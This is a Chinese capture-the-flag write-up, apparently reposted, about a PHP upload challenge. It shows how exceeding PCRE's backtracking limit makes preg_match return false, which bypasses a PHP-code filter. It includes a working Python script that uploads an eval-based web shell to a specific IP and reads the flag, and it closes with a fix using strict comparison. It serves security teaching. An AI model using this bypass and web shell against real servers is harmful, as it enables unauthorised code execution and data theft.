内容简介:题目源码如下题目源码比较清晰,应该是一个上传问题,我们依次解读一下:首先我们确定上传目录
题目源码如下
<?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if(empty($_FILES)) { die(show_source(__FILE__)); } $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']); $data = file_get_contents($_FILES['file']['tmp_name']); if (is_php($data)) { echo "bad request"; } else { @mkdir($user_dir, 0755); $path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path); header("Location: $path", true, 303); }
题目源码比较清晰,应该是一个上传问题,我们依次解读一下:
首先我们确定上传目录
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
然后我们上传的文件内容会被读取
$data = file_get_contents($_FILES['file']['tmp_name']);
紧接着内容会进入正则进行匹配,以判断我们上传的文件内容里是否有 php 代码
function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); }
如果带有phg代码,贼会打印 bad request
若不带有php代码,则会将我们的文件进行保存
@mkdir($user_dir, 0755); $path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path);
然后在http返回头里给我们文件路径
header("Location: $path", true, 303); }
那么现在思路应该很清晰了:题目并没有禁止我们上传php文件,但是对文件内容进行了过滤,禁止我们写入php代码。
所以现在的思路应该就是:bypass正则
preg_match('/<\?.*[(`;?>].*/is', $data);
上传php文件getshell
正则分析
当我们输入一个正常的php文件内容时
<?php phpinfo(); ?>
我们可以看到正则的全部流程如下
首先正则开始寻找<
<
后,然后正则再开始寻找
?
<?
后,正则开始匹配
.*
可以在step4中看到,正则因为 .*
匹配上了 <?
后所有字符,但此时正则没有结束,又开始继续寻找
[(`;?>]
于是正则开始回溯,在末位找到
>
所以这里的正则大致意思可以明确为,寻找
<?
开头和
[(`;?>]
结尾的字符串。
那么我们怎么绕过呢?
一般情况下,我们会思考能否绕过php tags
例如
<?php <%= <%, %> <script language="php"> <?=
那我们能否用
<%= phpinfo();
或者
<script language="php">phpinfo();</script>
来绕过过滤呢?
答案显然是否定的,我们注意到题目的php版本号
< HTTP/1.1 200 OK < Date: Tue, 05 Mar 2019 08:19:19 GMT < Server: Apache/2.4.25 (Debian) < X-Powered-By: PHP/7.1.26 < Vary: Accept-Encoding < Content-Length: 3965 < Content-Type: text/html; charset=utf-8
这里是php7,我们观察到官方手册
在php7中,这些tags都已经被移除,我们无法靠这个方式去bypass正则,那么应该如何去解呢?
php正则回溯法
这里要讲到ph牛的一篇文章
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
个人感觉ph解析的非常到位,我这里简单概述一下
我们从上面的正则流程应该能看出一些端倪,在step3到step4的时候,正则匹配完整个字符串,但因为正则没有结束,所以从后往前开始回溯寻找
[(`;?>]
那么有没有可能我们让他一直回溯,一直难以找到,直到我们达成正则表达式的拒绝服务攻击(reDOS)呢?
我们不妨构造如下payload
<?php phpinfo(); //skyskyskyskyskyskyskyskysky........sky
(省略号代表n多sky)
这里一直到step3都是和之前一样,但从回溯开始就发生了变化:
首先我们结尾没有用
[(`;?>]
所以正则需要不断从后往前回溯,一直找到phpinfo()后的那个分号
我们可以看到正则匹配次数会随我们的sky增长而增长。
这样显然是不行的,因为我们的payload后的sky字符串可以无限延长,那么正则匹配次数不可能达到那么大的数值。所以它会不会有一个上限呢?
我们可以测试
➜ ~ php -a Interactive shell php > var_dump(ini_get('pcre.backtrack_limit')); string(7) "1000000"
可以发现次数为100万次,那么如果超过100万次会怎么样呢?
我们继续测试:
正常匹配成功情况下
php > var_dump(preg_match('/<\?.*[(`;?>].*/is', '<?php phpinfo(); //aaa')); int(1)
返回了1
正常匹配失败情况下
php > var_dump(preg_match('/<\?.*[(`;?>].*/is', '2333333')); int(0)
回溯达到上限情况下
php > var_dump(preg_match('/<\?.*[(`;?>].*/is', '<?php phpinfo();//'.str_repeat('a', 1000000))); bool(false)
我们发现返回了false
漏洞点攻击
既然我们发现达到回溯上限会返回false,我们再看一遍题目的正则
<?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if (is_php($data)) { echo "bad request"; }
我们可以构造如下文本内容
<?php phpinfo();//'.str_repeat('a', 1000000)
这样达到回溯上限后,is_php就会 return false
那么往下的if判断中得到的结果就会为
if(false)
我们自然就避开了过滤,达到了文件上传的目的
payload编写与getflag
import requests from io import BytesIO files = { 'file': BytesIO('<?php eval($_REQUEST[sky]);//'+'a' * 1000000) } r = requests.post('http://106.14.114.127:22001/index.php', files=files, allow_redirects=False) path = r.headers['Location'] url = 'http://106.14.114.127:22001/'+path # print url data = { # 'sky':"var_dump(scandir('../../../'));" 'sky':"var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));" } r = requests.post(url=url,data=data) print r.content
我们运行即可得到flag
➜ Desktop python sky.py string(38) "flag{216728a834fb4c1e0bc6893e135f436e}"
修复方案
参照之前的测试,我们发现回溯失败的时候返回是false,而正常情况是0或者1,所以这里我们只要在if判断时,使用 ===
即可,如下
if (is_php($data) === 1) { echo "bad request"; }
小结
不得不膜一下p神,为许多正则Bypass提供了这么多奇技淫巧,这一点和之前的 \
打头的正则Bypass都能在日后测试中为我们拓宽攻击面。
文章首发于合天智汇
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Spring框架高级编程
约翰逊 / 蒋培 / 机械工业出版社 / 2006-4 / 59.00元
Spring框架是主要的开源应用程序开发框架,它使得Java/J2EE开发更容易、效率更高。本书不仅向读者展示了Spring能做什么?而且揭示了Spring完成这些功能的原理,解释其功能和动机,以帮助读者使用该框架的所有部分来开发成功的应用程序。本书涵盖Spring的所有特性,并且演示了如何将其构成一个连贯的整体,帮助读者理解Spring方法的基本原理、何时使用Sping以及如何效仿最佳实践。所有......一起来看看 《Spring框架高级编程》 这本书的介绍吧!